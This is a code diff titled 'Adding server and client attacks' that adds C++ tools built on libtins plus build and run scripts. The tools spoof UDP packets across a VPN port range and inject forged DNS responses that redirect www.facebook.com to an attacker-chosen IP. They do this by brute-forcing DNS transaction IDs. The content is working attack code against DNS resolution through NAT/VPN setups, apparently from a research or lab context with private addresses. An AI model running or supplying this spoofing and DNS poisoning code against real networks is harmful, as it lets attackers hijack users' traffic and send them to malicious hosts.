Adding server and client attacks

server-side-attack/dns-sside/phases/udder_fillup/Makefile

@@ -0,0 +1,2 @@
+all:
+	g++ -O3 -o uud_send send.cpp -lpthread -ltins -std=c++11

server-side-attack/dns-sside/phases/udder_fillup/fillup.blah

@@ -0,0 +1,26 @@
+#/bin/bash
+#
+
+
+START_PORT=42000
+END_PORT=62000
+
+
+SRC_IP=10.8.0.10
+#SRC_IP=$(ifconfig | grep inet | grep -w 10.8 | awk -F' ' '{print $2}' | awk -F':' '{print $2}')
+NOW=$(date '+%F %T')
+echo "Starting port fill at $NOW"
+
+echo "Using tun src ip: $SRC_IP"
+echo "Filling up vpn port range from $START_PORT to $END_PORT.."
+
+sudo ./uud_send 192.168.3.2 53 $SRC_IP $START_PORT $END_PORT
+
+#sleep 1
+
+#echo "Responding to all my own client probes to make sure they're kept in the table"
+
+#sudo ./uud_send 192.168.3.2 54 192.168.2.2 $START_PORT $END_PORT 1
+
+NOW1=$(date '+%F %T')
+echo "Finished port fill at $NOW1"

server-side-attack/dns-sside/phases/udder_fillup/send.cpp

@@ -0,0 +1,165 @@
+#include <tins/tins.h>
+#include <cassert>
+#include <iostream>
+#include <string>
+#include <unistd.h>
+#include <thread>
+#include <random>
+
+
+using std::thread;
+using std::cout;
+using std::string;
+using std::vector;
+using namespace Tins;
+
+
+bool is_running = true;
+bool verbose = false;
+bool count_resp = false;
+
+string dest_ip;
+string server_ip;
+
+
+void print_divider(int count) {
+  int i = 0;
+  while (i < count) {
+    if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
+    i++;
+  }
+}
+
+
+std::string random_string(std::size_t length) {
+
+  const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
+
+  std::random_device random_device;
+  std::mt19937 generator(random_device());
+  std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1);
+
+  string random_string;
+
+  for (std::size_t i = 0; i < length; ++i) {
+    random_string += CHARACTERS[distribution(generator)];
+  }
+
+  return random_string;
+}
+
+
+
+// Spreads UDPs across the victim's entire port range
+// to find a port that is being used and the spoofed packets
+// get NAT'ed back to the client
+//
+int spread_uds(bool server_spread, string server_ip, int server_port, string dest_ip, int start_port, int end_port) {
+
+  PacketSender sender;
+  NetworkInterface iface("enp0s9");
+  int i;
+  IP pkt;
+
+  if (server_spread) pkt = IP(dest_ip, server_ip) / UDP(start_port, server_port);
+  else pkt = IP(server_ip, dest_ip) / UDP(server_port, start_port);
+
+  UDP& udp = pkt.rfind_pdu<UDP>();
+  int spoof_port = start_port;
+
+  int send_size = 0;
+  int send_count = 0;
+  string send_payload = random_string(send_size);
+
+
+
+  cout << "spreading the port range from " << spoof_port << " to " << end_port << " with udps..\n";
+
+
+  while (spoof_port < end_port) {
+
+    if (server_spread) udp.dport(spoof_port); // set the packets src port to current guess
+    else udp.sport(spoof_port);
+    sender.send(pkt, iface);
+    spoof_port++;
+    send_size ++;
+    send_payload = random_string(send_size);
+    //cout << "next rando string: " << send_payload << "\n";
+
+    // if the payload size reaches 1000 (max), reset back to 0
+    if (send_size >= 1000) {
+      send_size = 0;
+      cout << "Sent w size 1000 to " << spoof_port << "\n";
+    }
+
+    usleep(1);
+  }
+
+  if (verbose) print_divider(2);
+
+  return 1;
+
+}
+
+
+int fill_ports(bool server_spread, string source_ip, int sport, string dest_ip, int start_port, int end_port) {
+
+  bool filling = true;
+  int current_port = 0;
+
+  while (filling) {
+
+    current_port = spread_uds(server_spread, source_ip, sport, dest_ip, start_port, end_port);
+    print_divider(1);
+
+    if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
+
+    count_resp = true;
+    filling = false;
+    print_divider(2);
+
+  }
+
+  return current_port;
+
+}
+
+
+
+
+int main(int argc, char** argv) {
+
+  cout << "arc twas: " << argc;
+
+  if (argc != 6 && argc != 7) {
+    cout << "sike wrong number of args ---> (server_ip, server_port, dest_ip, start_port, end_port <enable_server_spread>)\n";
+    return 0;
+  }
+
+  server_ip = argv[1]; // dns server IP
+  int server_port = atoi(argv[2]);
+  dest_ip = argv[3]; // vpn server IP
+  int start_port = atoi(argv[4]);
+  int end_port = atoi(argv[5]);
+  bool server_spread = false;
+
+  if (argc == 7) server_spread = true;
+
+  verbose = true;
+
+  string dest_mac = "";
+  string src_mac = "";
+
+  print_divider(2);
+
+
+  int p = fill_ports(server_spread, server_ip, server_port, dest_ip, start_port, end_port);
+
+  cout << p << "\n";
+  print_divider(1);
+  is_running = false;
+
+  if (verbose) cout << "Filled up all those ports and finished at: " << p << "\n";
+
+  return p;
+}

server-side-attack/dns-sside/phases/udder_test/Makefile

@@ -0,0 +1,2 @@
+all:
+	g++ -O3 -o uud_send send.cpp -lpthread -ltins -std=c++11

server-side-attack/dns-sside/phases/udder_test/send.cpp

@@ -0,0 +1,119 @@
+#include <tins/tins.h>
+#include <cassert>
+#include <iostream>
+#include <string>
+#include <unistd.h>
+#include <thread>
+#include <random>
+
+
+
+using std::thread;
+using std::cout;
+using std::string;
+using std::vector;
+using namespace Tins;
+
+
+int current_spoof_port, best_port, chack_count, resp_count, sniff_size;
+bool is_running = true;
+bool verbose = false;
+bool count_resp = false;
+
+bool sniffed_resp = false;
+string dest_ip;
+string source_ip;
+
+
+void print_divider(int count) {
+  int i = 0;
+  while (i < count) {
+    if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
+    i++;
+  }
+}
+
+
+
+
+
+// coming from a specific remote_ip:port
+//
+int send_dns(string src_ip, int sport, string dest_ip, int dport) {
+
+  PacketSender sender;
+  NetworkInterface iface("enp0s10");
+
+  IP pkt = IP(dest_ip, src_ip) / UDP(dport, sport) / DNS();
+
+  string spoof_domain = "www.facebook.com";
+  string redirect_ip = "192.168.2.2";
+
+  // Add the fake response
+  pkt.rfind_pdu<DNS>().add_query({ spoof_domain, DNS::A, DNS::IN });
+  pkt.rfind_pdu<DNS>().add_answer(
+    DNS::resource(
+      spoof_domain,
+      redirect_ip, // some bad guy IP we wanna redirect to
+      DNS::A,
+      1, // class of the record??
+      // 777 is just a random TTL
+      777
+    )
+  );
+  // We want the query to be resolverd recursively
+  //pkt.rfind_pdu<DNS>().id(tx_id);
+  pkt.rfind_pdu<DNS>().type(DNS::QRType::RESPONSE);
+  pkt.rfind_pdu<DNS>().recursion_desired(1);
+  pkt.rfind_pdu<DNS>().recursion_available(1);
+
+
+  int id = 1;
+  int max_id = 65000; // probably 65k or 16 bits
+
+  int block_size = 65000 / 4;
+
+  while (id < block_size) {
+
+    int c = 0;
+    int send_id = id;
+    while (c < 4) {
+        pkt.rfind_pdu<DNS>().id(send_id);
+        sender.send(pkt, iface);
+        send_id += block_size;
+        c ++;
+    }
+    //pkt.rfind_pdu<DNS>().id(id);
+    //sender.send(pkt, iface);
+
+    if (id % 1000 == 0) cout << "sending w id: " << id << "\n";
+    id ++;
+    usleep(250);
+  }
+
+  //sender.send(pkt, iface);
+
+  return 1;
+
+}
+
+
+
+int main(int argc, char** argv) {
+
+  if (argc != 5) {
+    cout << "sike wrong number of args ---> (src_ip, sport, dest_ip, dport)\n";
+    return 0;
+  }
+
+  string src_ip = argv[1];
+  int sport = atoi(argv[2]);
+  string dest_ip = argv[3];
+  int dport = atoi(argv[4]);
+
+  cout << "trying to inject dns to port " << dport << "\n";
+
+  int p = send_dns(src_ip, sport, dest_ip, dport);
+
+  return p;
+}